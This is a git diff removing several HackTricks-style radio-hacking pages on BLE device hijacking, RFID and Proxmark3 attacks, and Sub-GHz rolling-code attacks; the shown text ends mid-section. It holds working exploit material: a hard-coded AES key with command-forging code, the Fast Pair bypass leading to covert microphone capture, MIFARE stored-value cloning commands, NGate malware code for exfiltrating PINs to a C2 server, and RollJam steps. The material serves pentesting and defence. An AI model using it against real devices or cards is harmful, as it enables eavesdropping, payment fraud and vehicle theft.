-- With Nordic nRF Connect for Desktop (BLE app):
-  - Select the nRF52/nRF52840 dongle, scan and connect to the target.
-  - Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
-  - Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
-
-- Automate on Windows with a Nordic dongle using Python + blatann:
-
-<details>
-<summary>Python blatann write example (Windows + Nordic dongle)</summary>
-
-```python
-import time
-import blatann
-
-# CONFIG
-COM_PORT = "COM29"  # Replace with your COM port
-TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC
-
-target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
-
-# CONNECT
-ble_device = blatann.BleDevice(COM_PORT)
-ble_device.configure()
-ble_device.open()
-print(f"[-] Connecting to {TARGET_MAC}...")
-peer = ble_device.connect(target_address).wait()
-if not peer:
-    print("[!] Connection failed.")
-    ble_device.close()
-    raise SystemExit(1)
-
-print("Connected. Discovering services...")
-peer.discover_services().wait(5, exception_on_timeout=False)
-
-# Example: write 0x01/0x00 to a known handle
-for service in peer.database.services:
-    for ch in service.characteristics:
-        if ch.handle == 0x000b:  # Replace with your handle
-            print("[!] Beeping.")
-            ch.write(b"\x01")
-            time.sleep(2)
-            print("[+] And relax.")
-            ch.write(b"\x00")
-
-print("[-] Disconnecting...")
-peer.disconnect()
-peer.wait_for_disconnect()
-ble_device.close()
-```
-
-</details>
-
-### Case study: hijacking BLE LED masks (Shining Mask family)
-
-Cheap, white‑labeled BLE LED masks controlled by the “Shining Mask” app accept write control from any nearby central with no pairing/bonding. The app talks GATT to a command characteristic and a data characteristic; commands are AES‑ECB encrypted with a static key hard‑coded in the app, while bulk image data is unencrypted.
-
-Key UUIDs on these devices:
-- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
-- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
-- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
-
-Unauthenticated GATT writes
-- No pairing/bonding required. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
-- Common ops observed: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
-
-Static-key AES command framing
-- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
-- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764
-
-Python helper to encrypt and send a command (example: set max brightness):
-
-```python
-from Crypto.Cipher import AES
-from binascii import unhexlify
-
-KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
-
-def enc_cmd(op, args=b''):
-    body = bytes([len(op) + len(args)]) + op.encode() + args
-    body += b'\x00' * ((16 - (len(body) % 16)) % 16)
-    return AES.new(KEY, AES.MODE_ECB).encrypt(body)
-
-packet = enc_cmd('LIGHT', b'\xff')
-# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
-```
-
-Image upload flow
-- After an encrypted DATS handshake, raw chunks are written unencrypted to the data characteristic …960a.
-- Packet format: [len][seq][payload]. Empirically ~100 bytes payload per packet works reliably.
-
-<details>
-<summary>Minimal image upload pseudo-code</summary>
-
-```python
-# Start upload (encrypted): two bytes size, two bytes index, one toggle byte
-img_index = b'\x01\x00'  # index 1
-img_size  = (len(img_bytes)).to_bytes(2, 'big')
-start     = enc_cmd('DATS', img_size + img_index + b'\x01')
-write_cmd_char(start)  # expect DATSOK on notify char
-
-# Stream raw chunks (unencrypted) to ...960a: [len][seq][payload]
-seq = 0
-CHUNK = 98  # data bytes per packet (≈100 total incl. len+seq)
-for off in range(0, len(img_bytes), CHUNK):
-    chunk = img_bytes[off:off+CHUNK]
-    pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk
-    write_data_char(pkt)
-    seq += 1
-
-# Optionally signal completion if firmware expects it (e.g., DATCP)
-```
-
-</details>
-
-### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)
-
-- **Discovery:** Scan BLE advertisements for **service UUID 0xFE2C** (Google Fast Pair). Devices in pairing mode typically expose a pairing badge; even out of pairing mode the Fast Pair service can respond to GATT.
-- **Non-invasive probe (signature enforcement check):**
-  1. GATT **connect** to the Fast Pair service and **read the Model ID**.
-  2. **Write a Key-Based Pairing (KBP) value without a signature**. If the peripheral accepts the unsigned KBP write, it is susceptible to the signature-bypass (WhisperPair/CVE-2025-36911). Rejection indicates patching; failures may be inconclusive if already paired.
-- **BLE → BR/EDR pivot:** Send a **KBP Request** and parse the **encrypted response** to recover the target’s **BR/EDR address**. Use a classic bonding call (e.g., Android **`createBond(<BR/EDR address>)`**) to complete unauthorized pairing. Where supported, writing an **Account Key** persists the association.
-- **Post-bond microphone abuse:** After bonding, open **HFP** and start **SCO audio** to obtain a live microphone stream for listening/recording (e.g., saving M4A). This chain turns an unsigned KBP acceptance into remote audio capture without user consent.
-- **Hunt/detect:** Look for Fast Pair GATT traffic followed immediately by classic **bonding attempts to the BR/EDR address returned in KBP**, and for KBP writes lacking a signature. Enforcing signature validation on KBP and prompting for user-confirmed pairing breaks the chain.
-
-## Operational notes
-
-- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
-- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
-
-## References
-
-- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
-- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
-- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
-- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
-- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
-- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
-- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
-- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
-- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
-- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
-- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
-- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md
deleted file mode 100644
index dc8fce15543..00000000000
--- a/src/todo/radio-hacking/pentesting-rfid.md
+++ /dev/null
@@ -1,287 +0,0 @@
-# Pentesting RFID
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Introduction
-
-**Radio Frequency Identification (RFID)** is the most popular short-range radio solution. It's usually used to store and transmit information that identifies an entity.
-
-An RFID tag can rely on **its own power source (active)**, such as an embedded battery, or receive its power from the reading antenna using the current **induced from the received radio waves** (**passive**).
-
-### Classes
-
-EPCglobal divides RFID tags into six categories. A tag in each category has all the capabilities listed in the previous category, making it backward compatible.
-
-- **Class 0** tags are **passive** tags that operate in **UHF** bands. The vendor **preprograms** them at the production factory. As a result, you **can’t change** the information stored in their memory.
-- **Class 1** tags can also operate in **HF** bands. In addition, they can be **written only once** after production. Many Class 1 tags can also process **cyclic redundancy checks** (CRCs) of the commands they receive. CRCs are a few extra bytes at the end of the commands for error detection.
-- **Class 2** tags can be **written multiple times**.
-- **Class 3** tags can contain **embedded sensors** that can record environmental parameters, such as the current temperature or the tag’s motion. These tags are **semi-passive**, because although they **have** an embedded power source, such as an integrated **battery**, they **can’t initiate** wireless **communication** with other tags or readers.
-- **Class 4** tags can initiate communication with other tags of the same class, making them **active tags**.
-- **Class 5** tags can provide **power to other tags and communicate with all the previous tag** classes. Class 5 tags can act as **RFID readers**.
-
-### Information Stored in RFID Tags
-
-An RFID tag’s memory usually stores four kinds of data: the **identification data**, which **identifies** the **entity** to which the tag is attached (this data includes user-defined fields, such as bank accounts); the **supplementary data**, which provides **further** **details** regarding the entity; the **control data**, used for the tag’s internal **configuration**; and the tag’s **manufacturer data**, which contains a tag’s Unique Identifier (**UID**) and details regarding the tag’s **production**, **type**, and **vendor**. You’ll find the first two kinds of data in all the commercial tags; the last two can differ based on the tag’s vendor.
-
-The ISO standard specifies the Application Family Identifier (**AFI**) value, a code that indicates the **kind of object** the tag belongs to. Another important register, also specified by ISO, is the Data Storage Format Identifier(**DSFID**), which defines the **logical organization of the user data**.
-
-Most RFID **security controls** have mechanisms that **restrict** the **read** or **write** operations on each user memory block and on the special registers containing the AFI and DSFID values. These **lock** **mechanisms** use data stored in the control memory and have **default passwords** preconfigured by the vendor but allow the tag owners to **configure custom passwords**.
-
-### Low & High frequency tags comparison
-
-<figure><img src="../../images/image (983).png" alt=""><figcaption></figcaption></figure>
-
-## Low-Frequency RFID Tags (125kHz)
-
-**Low-frequency tags** are often used in systems that **do not require high security**: building access, intercom keys, gym membership cards, etc. Due to their higher range, they are convenient to use for paid car parking: the driver does not need to bring the card close to the reader, as it is triggered from further away. At the same time, low-frequency tags are very primitive, they have a low data transfer rate. For that reason, it's impossible to implement complex two-way data transfer for such things as keeping balance and cryptography. Low-frequency tags only transmit their short ID without any means of authentication.
-
-These devices rely on **passive** **RFID** technology and operate in a **range of 30 kHz to 300 kHz**, although it's more usual to use 125 kHz to 134 kHz:
-
-- **Long Range** — lower frequency translates to higher range. There are some EM-Marin and HID readers, which work from a distance of up to a meter. These are often used in car parking.
-- **Primitive protocol** — due to the low data transfer rate these tags can only transmit their short ID. In most cases, data is not authenticated and it's not protected in any way. As soon as the card is in the range of the reader it just starts transmitting its ID.
-- **Low security** — These cards can be easily copied, or even read from somebody else's pocket due to the protocol's primitiveness.
-
-**Popular 125 kHz protocols:**
-
-- **EM-Marin** — EM4100, EM4102. The most popular protocol in CIS. Can be read from about a meter because of its simplicity and stability.
-- **HID Prox II** — low-frequency protocol introduced by HID Global. This protocol is more popular in the western countries. It is more complex and the cards and readers for this protocol are relatively expensive.
-- **Indala** — very old low-frequency protocol that was introduced by Motorola, and later acquired by HID. You are less likely to encounter it in the wild compared to the previous two because it is falling out of use.
-
-In reality, there are a lot more low-frequency protocols. But they all use the same modulation on the physical layer and may be considered, in one way or another, a variation of those listed above.
-
-### Attack
-
-You can **attack these Tags with the Flipper Zero**:
-
-
-{{#ref}}
-flipper-zero/fz-125khz-rfid.md
-{{#endref}}
-
-## High-Frequency RFID Tags (13.56 MHz)
-
-**High-frequency tags** are used for a more complex reader-tag interaction when you need cryptography, a large two-way data transfer, authentication, etc.\
-It's usually found in bank cards, public transport, and other secure passes.
-
-**High-frequency 13.56 MHz tags are a set of standards and protocols**. They are usually referred to as [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), but that's not always correct. The basic protocol set used on the physical and logical levels is ISO 14443. High-level protocols, as well as alternative standards (like ISO 19092), are based upon it. Many people refer to this technology as **Near Field Communication (NFC)**, a term for devices operating over the 13.56 MHz frequency.
-
-<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
-
-To put it simply, NFC's architecture works like this: the transmission protocol is chosen by the company making the cards and implemented based on the low-level ISO 14443. For example, NXP invented its own high-level transmission protocol called Mifare. But on the lower level, Mifare cards are based on ISO 14443-A standard.
-
-Flipper can interact with both the low-level ISO 14443 protocol, as well as Mifare Ultralight data transfer protocol and EMV used in bank cards. We're working on adding support for Mifare Classic and NFC NDEF. A thorough look at the protocols and standards that make up NFC is worth a separate article which we plan to have up later.
-
-All high-frequency cards based on ISO 14443-A standard have a unique chip ID. It acts as the card's serial number, like a network card's MAC address. **Usually, the UID is 4 or 7 bytes long**, but can rarely go **up to 10**. UIDs are not a secret and they are easily readable, **sometimes even printed on the card itself**.
-
-There are many access control systems that rely on UID to **authenticate and grant access**. Sometimes this happens **even** when RFID tags **support cryptography**. Such **misuse** brings them down to the level of the dumb **125 kHz cards** in terms of **security**. Virtual cards (like Apple Pay) use a dynamic UID so that phone owners won't go opening doors with their payment app.
-
-- **Low range** — high-frequency cards are specifically designed so that they would have to be placed close to the reader. This also helps to protect the card from unauthorized interactions. The maximum read range that we managed to achieve was about 15 cm, and that was with custom-made high-range readers.
-- **Advanced protocols** — data transfer speeds up to 424 kbps allow complex protocols with full-fledged two-way data transfer. Which in turn **allows cryptography**, data transfer, etc.
-- **High security** — high-frequency contactless cards are in no way inferior to smart cards. There are cards that support cryptographically strong algorithms like AES and implement asymmetrical cryptography.
-
-### Attack
-
-You can **attack these Tags with the Flipper Zero**:
-
-
-{{#ref}}
-flipper-zero/fz-nfc.md
-{{#endref}}
-
-Or using the **proxmark**:
-
-
-{{#ref}}
-proxmark-3.md
-{{#endref}}
-
-### MiFare Classic offline stored-value tampering (broken Crypto1)
-
-When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXP’s deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).
-
-End-to-end workflow (abstracted):
-
-1) Dump the original card and recover keys
-
-```bash
-# Attempt all built-in Classic key recovery attacks and dump the card
-hf mf autopwn
-```
-
-This typically recovers sector keys (A/B) and generates a full-card dump in the client dumps folder.
-
-2) Locate and understand the value/integrity fields
-
-- Perform legitimate top-ups on the original card and take multiple dumps (before/after).
-- Do a diff of the two dumps to identify the changing blocks/bytes that represent the balance and any integrity fields.
-- Many Classic deployments either use the native "value block" encoding or roll their own checksums (e.g., XOR of the balance with another field and a constant). After changing the balance, recompute the integrity bytes accordingly and ensure all duplicated/complemented fields are consistent.
-
-3) Write the modified dump to a writable “Chinese magic” Classic tag
-
-```bash
-# Load a modified binary dump onto a UID-changeable Classic tag
-hf mf cload -f modified.bin
-```
-
-4) Clone the original UID so terminals recognize the card
-
-```bash
-# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
-hf mf csetuid -u <original_uid>
-```
-
-5) Use at terminals
-
-Readers that trust the on-card balance and the UID will accept the manipulated card. Field observations show many deployments cap balances based on field width (e.g., 16-bit fixed-point).
-
-Notes
-
-- If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
-- For custom formats with simple checksums, differential analysis is the fastest way to derive the integrity function without reversing firmware.
-- Only UID-changeable tags ("Chinese magic" gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.
-
-For hands-on Proxmark3 commands, see:
-
-
-{{#ref}}
-proxmark-3.md
-{{#endref}}
-
-### Building a Portable HID MaxiProx 125 kHz Mobile Cloner
-
-If you need a **long-range**, **battery-powered** solution for harvesting HID Prox® badges during red-team engagements you can convert the wall-mounted **HID MaxiProx 5375** reader into a self-contained cloner that fits in a backpack.  The full mechanical and electrical walk-through is available here:
-
-
-{{#ref}}
-maxiprox-mobile-cloner.md
-{{#endref}}
-
-## NFC/EMV Relay via Android Reader↔HCE Emitter
-
-Classic EMV relay can be implemented with 2 Android devices: a victim-side reader that captures live APDUs and PIN from a real card, and an attacker-side HCE emitter at the terminal that forwards APDUs upstream. The analyzed NGate kit abuses legit Android NFC APIs and a simple framed TCP C2 to orchestrate real-time ATM cash-outs.
-
-Key building blocks
-
-- Reader-mode app (victim): uses NFC reader APIs to parse EMV (PAN/expiry/AIDs), displays scheme by AID, asks for PIN and exfiltrates immediately.
-- Emitter-mode app (ATM side): implements Host Card Emulation (HCE) with `android:requireDeviceUnlock="false"` and a payment AID; `processCommandApdu()` forwards APDUs to C2 and returns minimal response.
-- Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.
-
-Android surface (Manifest/HCE)
-
-```xml
-<uses-permission android:name="android.permission.NFC"/>
-<uses-permission android:name="android.permission.INTERNET"/>
-<service android:name=".nfc.hce.ApduService"
-         android:permission="android.permission.BIND_NFC_SERVICE"
-         android:exported="true">
-  <intent-filter>
-    <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
-    <category android:name="android.intent.category.DEFAULT"/>
-  </intent-filter>
-  <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
-             android:resource="@xml/hce"/>
-</service>
-```
-
-hce.xml example (no unlock + payment AID)
-
-```xml
-<host-apdu-service android:requireDeviceUnlock="false"
-                   android:description="relay">
-  <aid-group android:category="other">
-    <aid-filter android:name="F001020304050607"/>
-  </aid-group>
-  <aid-group android:category="payment">
-    <aid-filter android:name="F001020304050607"/>
-  </aid-group>
-</host-apdu-service>
-```
-
-Transparent relay endpoint (HCE)
-
-```java
-@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
-  Log.d("ApduService", "APDU-IN: " + toHex(apdu));
-  bus.forward(apdu); // send upstream to C2/reader
-  return new byte[0]; // empty response, pure relay endpoint
-}
-```
-
-EMV scheme inference by AID (examples)
-
-- A000000004 → Mastercard
-- A000000003 → Visa
-- A000000658 → MIR
-- A000000333 → UnionPay
-
-PIN harvesting pattern (victim UI)
-
-```java
-// Custom keypad publishes when required length (e.g., 4) is reached
-if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
-// Network immediately exfiltrates via dedicated opcode
-send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));
-```
-
-Framed C2 (cleartext example)
-
-- Client→Server: int32 len | int32 opcode | body
-- Server→Client: int32 len | body (opcode inside payload)
-- Reject bodies > ~100 MiB; keepalive ~7s (PING)
-
-```java
-// send
-out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
-// recv
-int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);
-```
-
-Config concealment: cert-derived XOR
-
-- Native lib derives a 32-byte key as SHA‑256 of the app signing certificate (DER).
-- C2 config is ASCII‑hex in assets (e.g., `assets/____`), hex-decoded and XOR-ed with the key repeating every 32 bytes:
-
-```c
-for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];
-```
-
-Offline PoC to decrypt config
-
-```bash
-# Extract signing cert digest
-apksigner verify --print-certs sample.apk
-# "Signer #1 certificate SHA-256 digest: <hex>"
-```
-
-```python
-import pathlib
-key = bytes.fromhex("<sha256_of_signing_cert>")
-ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
-pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
-print(pt.decode("utf-8", errors="replace"))
-```
-
-Sample decrypted fields: `host`, `port`, `sharedToken`, `tls`, `mode`, `reader`, `uniqueID`, `ttd`.
-
-Relay chain (end-to-end)
-
-1) Victim installs APK, opens app → native init decrypts config from assets.
-2) App connects to C2 (e.g., `91.84.97.13:5653`) using framed TCP; keepalive ~7s.
-3) Victim taps card → reader extracts PAN/expiry/AIDs and sends CARD_DISCOVERED.
-4) Victim enters PIN → keypad publishes and exfiltrates via PIN_REQ; server replies VALID/INVALID for UI only.
-5) Attacker device at terminal runs HCE emitter relaying APDUs to the ATM and performs cash-out.
-
----
-
-## References
-
-- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
-- [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
-- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
-- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
-- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
-- [Analysis of NGate malware campaign (CERT-PL)](https://cert.pl/en/posts/2025/11/analiza-ngate/)
-- [Android apksigner – verify/print-certs](https://developer.android.com/studio/command-line/apksigner)
-- [Android Host Card Emulation (HCE) overview](https://developer.android.com/guide/topics/connectivity/nfc/hce)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/todo/radio-hacking/proxmark-3.md b/src/todo/radio-hacking/proxmark-3.md
deleted file mode 100644
index 0c750753706..00000000000
--- a/src/todo/radio-hacking/proxmark-3.md
+++ /dev/null
@@ -1,101 +0,0 @@
-# Proxmark 3
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Attacking RFID Systems with Proxmark3
-
-The first thing you need to do is to have a [**Proxmark3**](https://proxmark.com) and [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
-
-### Attacking MIFARE Classic 1KB
-
-It has **16 sectors**, each of them has **4 blocks** and each block contains **16B**. The UID is in sector 0 block 0 (and can't be altered).\
-To access each sector you need **2 keys** (**A** and **B**) which are stored in **block 3 of each sector** (sector trailer). The sector trailer also stores the **access bits** that give the **read and write** permissions on **each block** using the 2 keys.\
-2 keys are useful to give permissions to read if you know the first one and write if you know the second one (for example).
-
-Several attacks can be performed
-
-```bash
-proxmark3> hf mf #List attacks
-
-proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
-proxmark3> hf mf fchk 1 t # Improved keys BF
-
-proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
-proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key
-
-proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
-proxmark3> hf mf restore # Copy data to a new card
-proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
-proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory
-
-proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
-proxmark3> hf mf eget 01 # Read block 1
-proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
-```
-
-The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the **cryptographic operations used are weak** and knowing the plain and cipher text you can calculate it (`mfkey64` tool).
-
-#### MiFare Classic quick workflow for stored-value abuse
-
-When terminals store balances on Classic cards, a typical end-to-end flow is:
-
-```bash
-# 1) Recover sector keys and dump full card
-proxmark3> hf mf autopwn
-
-# 2) Modify dump offline (adjust balance + integrity bytes)
-#    Use diffing of before/after top-up dumps to locate fields
-
-# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
-proxmark3> hf mf cload -f modified.bin
-
-# 4) Clone original UID so readers recognize the card
-proxmark3> hf mf csetuid -u <original_uid>
-```
-
-Notes
-
-- `hf mf autopwn` orchestrates nested/darkside/HardNested-style attacks, recovers keys, and creates dumps in the client dumps folder.
-- Writing block 0/UID only works on magic gen1a/gen2 cards. Normal Classic cards have read-only UID.
-- Many deployments use Classic "value blocks" or simple checksums. Ensure all duplicated/complemented fields and checksums are consistent after editing.
-
-See a higher-level methodology and mitigations in:
-
-{{#ref}}
-pentesting-rfid.md
-{{#endref}}
-
-### Raw Commands
-
-IoT systems sometimes use **nonbranded or noncommercial tags**. In this case, you can use Proxmark3 to send custom **raw commands to the tags**.
-
-```bash
-proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
-SAK : 08 [2]
-TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
-  proprietary non iso14443-4 card found, RATS not supported
-  No chinese magic backdoor command detected
-  Prng detection: WEAK
-  Valid ISO14443A Tag Found - Quiting Search
-```
-
-With this information you could try to search information about the card and about the way to communicate with it. Proxmark3 allows to send raw commands like: `hf 14a raw -p -b 7 26`
-
-### Scripts
-
-The Proxmark3 software comes with a preloaded list of **automation scripts** that you can use to perform simple tasks. To retrieve the full list, use the `script list` command. Next, use the `script run` command, followed by the script’s name:
-
-```
-proxmark3> script run mfkeys
-```
-
-You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration.
-
-## References
-
-- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
-- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
-- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
-- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md
deleted file mode 100644
index cdf29e98c64..00000000000
--- a/src/todo/radio-hacking/sub-ghz-rf.md
+++ /dev/null
@@ -1,90 +0,0 @@
-# Sub-GHz RF
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Garage Doors
-
-Garage door openers typically operate at frequencies in the 300-190 MHz range, with the most common frequencies being 300 MHz, 310 MHz, 315 MHz, and 390 MHz. This frequency range is commonly used for garage door openers because it is less crowded than other frequency bands and is less likely to experience interference from other devices.
-
-## Car Doors
-
-Most car key fobs operate on either **315 MHz or 433 MHz**. These are both radio frequencies, and they are used in a variety of different applications. The main difference between the two frequencies is that 433 MHz has a longer range than 315 MHz. This means that 433 MHz is better for applications that require a longer range, such as remote keyless entry.\
-In Europe 433.92MHz is commonly used and in U.S. and Japan it's the 315MHz.
-
-## **Brute-force Attack**
-
-<figure><img src="../../images/image (1084).png" alt=""><figcaption></figcaption></figure>
-
-If instead of sending each code 5 times (sent like this to make sure the receiver gets it) so just send it once, the time is reduced to 6mins:
-
-<figure><img src="../../images/image (622).png" alt=""><figcaption></figcaption></figure>
-
-and if you **remove the 2 ms waiting** period between signals you can **reduce the time to 3minutes.**
-
-Moreover, by using the De Bruijn Sequence (a way to reduce the number of bits needed to send all the potential binary numbers to burteforce) this **time is reduced just to 8 seconds**:
-
-<figure><img src="../../images/image (583).png" alt=""><figcaption></figcaption></figure>
-
-Example of this attack was implemented in [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame)
-
-Requiring **a preamble will avoid the De Bruijn Sequence** optimization and **rolling codes will prevent this attack** (supposing the code is long enough to not be bruteforceable).
-
-## Sub-GHz Attack
-
-To attack these signals with Flipper Zero check:
-
-
-{{#ref}}
-flipper-zero/fz-sub-ghz.md
-{{#endref}}
-
-## Rolling Codes Protection
-
-Automatic garage door openers typically use a wireless remote control to open and close the garage door. The remote control **sends a radio frequency (RF) signal** to the garage door opener, which activates the motor to open or close the door.
-
-It is possible for someone to use a device known as a code grabber to intercept the RF signal and record it for later use. This is known as a **replay attack**. To prevent this type of attack, many modern garage door openers use a more secure encryption method known as a **rolling code** system.
-
-The **RF signal is typically transmitted using a rolling code**, which means that the code changes with each use. This makes it **difficult** for someone to **intercept** the signal and **use** it to gain **unauthorised** access to the garage.
-
-In a rolling code system, the remote control and the garage door opener have a **shared algorithm** that **generates a new code** every time the remote is used. The garage door opener will only respond to the **correct code**, making it much more difficult for someone to gain unauthorised access to the garage just by capturing a code.
-
-### **Missing Link Attack**
-
-Basically, you listen for the button and **capture the signal whilst the remote is out of range** of the device (say the car or garage). You then move to the device and **use the captured code to open it**.
-
-### Full Link Jamming Attack
-
-An attacker could **jam the signal near the vehicle or receive**r so the **receiver cannot actually ‘hear’ the code**, and once that is happening you can simply **capture and replay** the code when you have stopped jamming.
-
-The victim at some point will use the **keys to lock the car**, but then the attack will have **recorded enough "close door" codes** that hopefully could be resent to open the door (a **change of frequency might be needed** as there are cars that use the same codes to open and close but listens for both commands in different frequencies).
-
-> [!WARNING]
-> **Jamming works**, but it's noticeable as if the **person locking the car simply tests the doors** to ensure they are locked they would notice the car unlocked. Additionally if they were aware of such attacks they could even listen to the fact that the doors never made the lock **sound** or the cars **lights** never flashed when they pressed the ‘lock’ button.
-
-### **Code Grabbing Attack ( aka ‘RollJam’ )**
-
-This is a more **stealth Jamming technique**. The attacker will jam the signal, so when the victim tries to lock the door it won't work, but the attacker will **record this code**. Then, the victim will **try to lock the car again** pressing the button and the car will **record this second code**.\
-Instantly after this the **attacker can send the first code** and the **car will lock** (victim will think the second press closed it). Then, the attacker will be able to **send the second stolen code to open** the car (supposing that a **"close car" code can also be used to open it**). A change of frequency might be needed (as there are cars that use the same codes to open and close but listens for both commands in different frequencies).
-
-The attacker can **jam the car receiver and not his receiver** because if the car receiver is listening in for example a 1MHz broadband, the attacker won't **jam** the exact frequency used by the remote but **a close one in that spectrum** while the **attackers receiver will be listening in a smaller range** where he can listen the remote signal **without the jam signal**.
-
-> [!WARNING]
-> Other implementations seen in specifications show that the **rolling code is a portion** of the total code sent. Ie the code sent is a **24 bit key** where the first **12 are the rolling code**, the **second 8 are the command** (such as lock or unlock) and the last 4 is the **checksum**. Vehicles implementing this type are also naturally susceptible as the attacker merely needs to replace the rolling code segment to be able to **use any rolling code on both frequencies**.
-
-> [!CAUTION]
-> Note that if the victim sends a third code while the attacker is sending the first one, the first and second code will be invalidated.
-
-### Alarm Sounding Jamming Attack
-
